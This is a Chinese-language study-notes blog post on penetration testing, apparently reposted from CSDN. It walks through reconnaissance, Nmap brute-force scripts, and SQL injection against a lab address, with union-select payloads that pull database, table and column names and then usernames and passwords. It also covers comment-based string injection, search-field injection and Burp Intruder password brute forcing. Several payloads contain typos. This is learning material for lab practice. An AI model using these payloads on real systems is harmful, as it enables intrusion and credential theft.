ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

【学习笔记】Web安全测试,渗透测试之Sql字符型注入案例解析及学习笔记整理。

2019-07-25 18:01:17  阅读:241  来源: 互联网

标签:Web 1.14 http name 192.168 笔记 测试 where Id


【渗透测试】

第一阶段:安全测试概述。

1.网络安全:根据我国网络安全法规定,未经过授权的扫描都是违法的。

第二阶段:情报搜集

1. 解析DNS服务器信息:站长之家、爱站,通过whois查询网站信息。

2. 子域名信息:主域名防御等级过高,可以通过子域名发起攻击(Layer子域名挖掘工具)

3. 开放的端口

4. 确定版本信息:

(1) 协议类型:HTTP/1.1 200 OK

(2) 页面类型:text/html; charset=utf-8

5. 真实IP地址

6. 网站目录

第三阶段:环境搭建

1.Web应用漏洞扫描器:OWSAP ZAP Web安全测试漏洞扫描工具。

2. 主机探测端口扫描工具:Nmap 端口扫描工具,

(1) nmap -help获取常见命令,

① nmap 192.168.1.1单个IP地址端口扫描

② Nmap --Script brute 暴力破解单个应用,如HTTP/SMTP等,爆破成功后,通过账号和密码,进入cmd-输入net user查看已登录的用户信息

(1) 主机探测:探测主机信息,列出响应Tcp和ICMP请求、ICMP特别开放端口的主机

(2) 端口扫描:探测目标主机上开发的端口

(3) 版本检测:获取目标主机的网络服务,并判断服务名称和版本

(4) 系统检测:探测目标主机的操作系统及网络设备的硬件特征

2. sql注入:Sql注入指当Web用户向后台数据库传递结构化查询语言时,如果影响了数据 库的执行和数据的正确性,则构成了sql注入。举例:通过URL追加sql查询命令,sql 命令没有被转义或者限制,直接传到了数据库并且完成了执行,就造成数据库sql注入。

前提条件:

(1) 传入的参数拼接到sql语句,可以未经过转义或者限制,直接传入数据库被执行。

(2) 前段传递给后端的参数内容必须可自由控制,比如订单号或者字符信息。

(3) 如果存在错误和判断,则证明sql成功传到了数据库被执行,将可以进行注入:

① Select * from users where iD=1’--如果报错,则执行下一句

② Select * from users where iD=1 and 1=1 --因为1=1为真,通过and判断条件,则页面会返回id=1的结果,证明已经直接传到数据库执行了

③ Select * from users where iD=1 and 1=2 --因为1=2不成立,返回的id=1的结果不一致 ,返回错误页面,证明已经直接传到数据库执行了

(4) 默认表获取数据库表明和字段名:库名、表名、列名、内容,一级一级查下去。

① Show databases;查询当前已有的数据库名称。

② use information_schema;进入公共数据库信息库。

③ Show tables;查询当前库的表名称。

④ desc schemata;查询用户创建的所有数据库的库名的默认字段的列名字。

⑤ Select schema_name from schemata;同上,查询列内容。

⑥ Select table_schema,table_name from tables;查询该用户创建的所有库名和表名。

(5) Sql注入的基本步骤

① 确定注入漏洞的类型和存在问题的参数

② 确定字段数

③ 分析数据库和数据表的相关信息

④ 实施具体的攻击

(6) 实施步骤:如果满足以下3点,表示该URL存在数字型注入。

① 加单引号:URL:http://192.168.1.14?Id=1’,对应的sql:select * from users where id = 1’,这时候语句如果报错,程序无法正常从数据库中查询出数据,就会抛出异常。

② 加 and 1=1: URL:http://192.168.1.14?Id=1 and 1=1,对应的sql:select * from users where id = 1 and 1=1,这时候语句执行正确,与原始页面没有差异

③ 加 and 1=2:URL:http://192.168.1.14?Id=1 and 1=2,对应的sql:select * from users where id = 1 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异。

④ 调试:火狐插件可以调试,hackbar (新版本火狐该插件要收费,可以安装老版)

(7) 确认可以数字注入后,开始注入:库名、表名、列表、内容

① http://192.168.1.14?Id=1 order by 1;如果可以正常执行,执行下一步。

② http://192.168.1.14?Id=1 order by 10;如果还可以正常执行,执行下一步。

③ http://192.168.1.14?Id=1 ordre by 11;如果报错,表示只有10个字段。

④ http://192.168.1.14?Id=1  union select 1,2,3,4,5,6,7,8,9,10;如果结果返回字段名称1:字段名称2:字段名称3:,表示可以输入三个字段查询。

⑤ http://192.168.1.14?Id=1  union select user(),database(),version(),4,5,6,7,8,9,10,返回字段名称1:root@localhost,字段名称2:hackyl,字段名称3:5.5.51

⑥ 根据前面讲到的如果查到了库名称hackyl,那么可以通过默认库查询到字段名

⑦ http://192.168.1.14?Id=1  union select 1,table_name,4,5,6,7,8,9,10 from information_schema.tables where table_schema = hackyl;这里由于网站做了转义安全限制,\’hackyl\’返回结果会报错,百度下载一个”小葵功能转换工具”,把hackyl转移成mex-16进制,然后输入语句的最后=x0000000c,得到表名liuyan表和user表

⑧ http://192.168.1.14?Id=1  union select union select 1,column_name,3,4,5 from infomation_schema.columns where table_name = =0X757423(这里是user的十六进制),执行,获得了表的列明username,password

⑨ http://192.168.1.14?Id=1  union select 1,username,password,4,5,..10 from user,执行就获得了用户名和密码。

⑩ 流程:先获得库名:hackyl,再获得表名:user,再获得列名:username,再获得内容用户名和密码。

(8) 字符串注入:

① http://192.168.1.14?name=’admin’ and 1=1’;由于字符型必须是成对的单引号,所以and 1=1’这种会语法报错,需要通过三种注释符号-- 、#、/**/来注入

② http://192.168.1.14?name=’admin’ and 1=1#’;

③ 原理不变,同上~

(9) 搜索型sql注入:靶场pikachu漏洞练习平台 pika-pika-;

① Select * from user where name like ‘%李%’;通过把查询条件‘李’改成select注入语句,就可以获得信息。

② Select * from user where name like ‘%李%’ or 1=1#,一个一个试验,看结果

③ Select * from user where name like ‘%李%’ and 1=1#,一个一个试验,看结果

(10)暴力破解

①代理-登录-抓包-ctrl+i(右键send intrude)-2-posions-clear$(清除name行没用符号)-选中密码高亮-点击add(添加爆破字典)-切换标签payloads-点击add(load添加内置或者add自己的字典TXT文件)-选中top菜单第二项indruder的第一个start strack -然后开始爆破-查看结果里面length长度-很多一样的中间有一个不一样的,就是正确密码(q取决于你的密码字典要很全)

admin 88888 111111

3.对公开资源的研究(厂商的漏洞警告、google hacking等)

第四阶段:漏洞分析

第七阶段:报告       

法律声明、渗透测试协议、简介、项目目标、假定和限制、漏洞的影响、执行摘要、风险矩阵、测试方法、安全威胁、改进建议、漏洞映射、利用方法、合规性评估、变更管理、最佳实践、附录

标签:Web,1.14,http,name,192.168,笔记,测试,where,Id
来源: https://blog.csdn.net/denzeleo/article/details/97279619

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有